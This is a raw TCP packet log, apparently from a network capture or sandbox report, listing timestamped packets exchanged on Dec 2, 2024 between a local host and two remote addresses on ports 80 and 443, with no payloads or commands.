Dec 2, 2024 07:38:08.555231094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.571907043 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.575447083 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.575515985 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.575567961 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.575587034 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.575598001 CET	49858	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.575603962 CET	443	49858	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.578826904 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.578864098 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.578942060 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.579168081 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.579179049 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.615379095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.615500927 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.615948915 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.616003036 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.616853952 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.616864920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.616915941 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.617348909 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.617912054 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.617937088 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.618438959 CET	49862	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.618444920 CET	443	49862	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.619688034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.619740963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.620646954 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.620697975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.622512102 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.622574091 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.623265028 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.623317957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.625401974 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.625474930 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.626609087 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.626662016 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.640548944 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.640619040 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.640935898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.640979052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.641474009 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.641522884 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.643520117 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.643572092 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.644598961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.644649982 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.645374060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.645420074 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.646182060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.646226883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.646817923 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.646867037 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.647034883 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.647078037 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.648962975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.649032116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.652642965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.652671099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.652693987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.652707100 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.653115034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.653163910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.654577971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.654633999 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.655008078 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.655052900 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.656774044 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.656785965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.656836033 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.658773899 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.658819914 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.659575939 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.659626961 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.660212040 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.660264015 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.660433054 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.660484076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.662287951 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.662328959 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.662343025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.662385941 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.664455891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.664499044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.664524078 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.664563894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.666574955 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.666619062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.667119980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.667160988 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.668706894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.668762922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.668787956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.668827057 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.670900106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.670945883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.671202898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.671246052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.672815084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.672863960 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.673085928 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.673132896 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.673459053 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.674011946 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.674029112 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.674869061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.674932957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.675105095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.675148964 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.675364017 CET	49861	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.675370932 CET	443	49861	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.676893950 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.676911116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.676951885 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.676974058 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.678164959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.678215027 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.678477049 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.678523064 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.679435968 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.679505110 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.680685043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.680736065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.680744886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.680756092 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.680782080 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.680794954 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.681981087 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.682018995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.682554960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.682596922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.683290958 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.683348894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.684120893 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.684165001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.684767008 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.684808969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.684880972 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.684920073 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.685802937 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.685846090 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.686357975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.686403990 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.687057972 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.687099934 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.687268972 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.687309027 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.688363075 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.688482046 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.688707113 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.688746929 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.689609051 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.689649105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.689688921 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.689730883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.690967083 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.691015005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.691289902 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.691350937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.692122936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.692558050 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.692583084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.692605972 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.693403006 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.693449974 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.693598032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.693645000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.694752932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.694796085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.694813013 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.694854021 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.695926905 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.695971012 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.696126938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.696162939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.697204113 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.697247028 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.697885990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.697926044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.698499918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.698539972 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.698771000 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.698813915 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.699774027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.699875116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.699954987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.700001955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.701037884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.701047897 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.701080084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.701101065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.702325106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.702336073 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.702367067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.702377081 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.703552961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.703603983 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.703605890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.703640938 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.704828978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.704871893 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.705378056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.705425024 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.706351042 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.706403971 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.706417084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.706456900 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.707382917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.707429886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.707917929 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.707962036 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.708682060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.708740950 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.708996058 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.709041119 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.709901094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.709949017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.710349083 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.710392952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.711209059 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.711220980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.711258888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.712475061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.712533951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.712624073 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.712670088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.713773966 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.713785887 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.713819027 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.758636951 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.761758089 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.761846066 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.761904001 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.761915922 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.761924982 CET	49860	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.761929989 CET	443	49860	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.764936924 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.764960051 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.765060902 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.765228987 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:08.765244007 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:08.807406902 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.807549000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.807734013 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.807784081 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.808430910 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.808484077 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.808520079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.808558941 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.809362888 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.809411049 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.809444904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.809489012 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.810564995 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.810621023 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.832196951 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.832331896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.832370043 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.832401037 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.832542896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.832561016 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.832595110 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.832607985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.833672047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.833724976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.833728075 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.833765984 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.834686995 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.834734917 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.835010052 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.835055113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.835768938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.835819006 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.836090088 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.836136103 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.836833000 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.836882114 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.837233067 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.837287903 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.837905884 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.837917089 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.837958097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.838936090 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.838984013 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.839246035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.839294910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.839986086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.840033054 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.840666056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.840712070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.841033936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.841075897 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.841156960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.841200113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.842150927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.842161894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.842204094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.843162060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.843209982 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.843626022 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.843674898 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.844254971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.844301939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.844381094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.844427109 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.845287085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.845336914 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.845563889 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.845606089 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.846344948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.846394062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.847018957 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.847068071 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.847395897 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.847443104 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.847692966 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.847733021 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.848455906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.848505020 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.848615885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.848661900 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.849575043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.849622011 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.849653959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.849690914 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.850585938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.850632906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.850766897 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.850812912 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.851603031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.851654053 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.852034092 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.852081060 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.852746010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.852792025 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.852920055 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.852966070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.853734970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:08.853784084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:08.853827000 CET	80	49859	185.215.113.16	192.168.2.6
